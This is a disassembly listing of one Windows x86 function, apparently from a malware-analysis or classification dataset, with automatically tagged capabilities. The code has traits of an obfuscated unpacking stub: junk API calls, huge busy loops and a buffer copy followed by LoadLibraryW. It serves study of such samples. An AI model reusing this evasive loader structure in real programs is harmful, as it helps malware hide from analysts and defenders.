Function at 0x40a930
Capabilities:
Connect pipe
Get common file path
Get file attributes
Get geographical location
Set console window title

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x41024b
mov eax, dword fs:[0]
push eax
sub esp, 0x878
mov eax, dword [0x4ad07c]
xor eax, esp
mov dword [esp + 0x870], eax
push ebx
push esi
push edi
mov eax, dword [0x4ad07c]
xor eax, esp
push eax
lea eax, [esp + 0x888]
mov dword fs:[0], eax
mov edx, dword [0x4aed60]
mov ecx, dword [0x5aede4]
xor ebx, ebx
xor eax, eax
mov esi, 0xec58acac
cmp eax, 0x8450db
jne 0x40a992
lea ecx, [edx + 0xa231]
cmp ecx, 0x141
jne 0x40a9aa
mov dword [0x4b03b8], esi
mov dword [0x4b03bc], 0xffffffff
inc eax
cmp eax, 0xb9fa618
jl 0x40a985
mov edi, dword [sym.imp.KERNEL32.dll_TryEnterCriticalSection]
mov dword [0x5aede4], ecx
xor esi, esi
cmp esi, 0x562d05
jne 0x40a9d2
mov eax, dword [0x4aed54]
mov dword [0x5af16c], eax
cmp ecx, 0x3c
jne 0x40a9e0
push ebx
call edi
mov ecx, dword [0x5aede4]
inc esi
cmp esi, 0x5f6c74
jl 0x40a9c0
cmp ecx, 0x7c
jne 0x40aa9e
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push ebx
call dword [sym.imp.KERNEL32.dll_SetSystemTime]
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadIconW]
lea edx, [esp + 0x38]
push edx
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.USER32.dll_CopyRect]
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
push ebx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
push ebx
push ebx
lea ecx, [esp + 0x84]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push ebx
call dword [sym.imp.KERNEL32.dll_DebugActiveProcessStop]
push ebx
call dword [sym.imp.KERNEL32.dll_FindAtomW]
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
push ebx
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push ebx
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetNumaProcessorNode]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapSetInformation]
mov ecx, dword [0x5aede4]
cmp ecx, 0x2d
jne 0x40aa9e
push ebx
lea edx, [esp + 0x18]
push edx
mov dword [esp + 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
mov ecx, dword [0x5aede4]
cmp ecx, 0x110a
jne 0x40ab9a
push str.bikeyu
mov dword [0x5aedd8], ebx
mov dword [0x5aeddc], ebx
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push str.logafayoduwod
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push ebx
call fcn.00401b11
xor eax, eax
mov edi, 7
mov word [esp + 0x3c], ax
add esp, 4
lea esi, [edi - 6]
lea eax, [esp + 0x38]
mov dword [esp + 0x4c], edi
mov dword [esp + 0x48], ebx
call fcn.00401120
push str.0__s__d__f
mov dword [esp + 0x894], ebx
call fcn.00401c22
add esp, 4
push ebx
call fcn.00401b11
xor ecx, ecx
add esp, 4
lea eax, [esp + 0x1c]
mov dword [esp + 0x30], edi
mov dword [esp + 0x2c], ebx
mov word [esp + 0x1c], cx
call fcn.00401120
push ebx
call fcn.00401b11
add esp, 4
push 0x4ab9f0
push 0x4afeb8
call fcn.004015ec
mov esi, 8
add esp, 8
cmp dword [esp + 0x30], esi
jb 0x40ab6d
mov edx, dword [esp + 0x1c]
push edx
call fcn.00401c3f
add esp, 4
xor eax, eax
mov dword [esp + 0x890], 0xffffffff
mov dword [esp + 0x30], edi
mov dword [esp + 0x2c], ebx
mov word [esp + 0x1c], ax
cmp dword [esp + 0x4c], esi
jb 0x40ab9a
mov ecx, dword [esp + 0x38]
push ecx
call fcn.00401c3f
add esp, 4
call fcn.0040a5e0
xor esi, esi
cmp dword [0x5aede4], ebx
jbe 0x40abed
mov edi, dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
nop
mov edx, dword [0x5af16c]
mov dword [esp + 0x14], edx
mov eax, 0xa231
add dword [esp + 0x14], eax
cmp dword [0x5aede4], 0x5ab
mov eax, dword [esp + 0x14]
mov cl, byte [eax + esi]
mov edx, dword [0x5aeb04]
mov byte [edx + esi], cl
jne 0x40abe4
push ebx
push ebx
push ebx
call edi
inc esi
cmp esi, dword [0x5aede4]
jb 0x40abb0
push 0x4ab9f4
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call fcn.0040a620
call fcn.0040a8c0
call fcn.0040a610
mov edi, dword [sym.imp.USER32.dll_GetMonitorInfoW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetAtomNameW]
xor esi, esi
lea eax, [esp + 0x54]
push eax
push 0
call edi
push 0
push 0
push 0
call ebx
cmp esi, 0x1a01e
jle 0x40ac38
cmp dword [esp + 0x5c], 0xf5bed7
jne 0x40ac41
inc esi
cmp esi, 0x1ece7a52
jl 0x40ac15
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
xor esi, esi
nop
cmp dword [0x5aede4], 0xcc1
jne 0x40ac5e
call ebx
cmp esi, 0x12e6c3
jne 0x40ac6b
call fcn.0040a5d0
cmp dword [0x5aede4], 0x3dc
mov dword [0x5aeb0c], 0x8e46a6f0
jne 0x40ac94
push 0
push 0
push 0
push 0
push 0
push 0
push str.bosohulema
call edi
inc esi
cmp esi, 0x1519a5
jl 0x40ac50
mov ecx, dword [esp + 0x888]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x870]
xor ecx, esp
call fcn.004015dd
mov esp, ebp
pop ebp
ret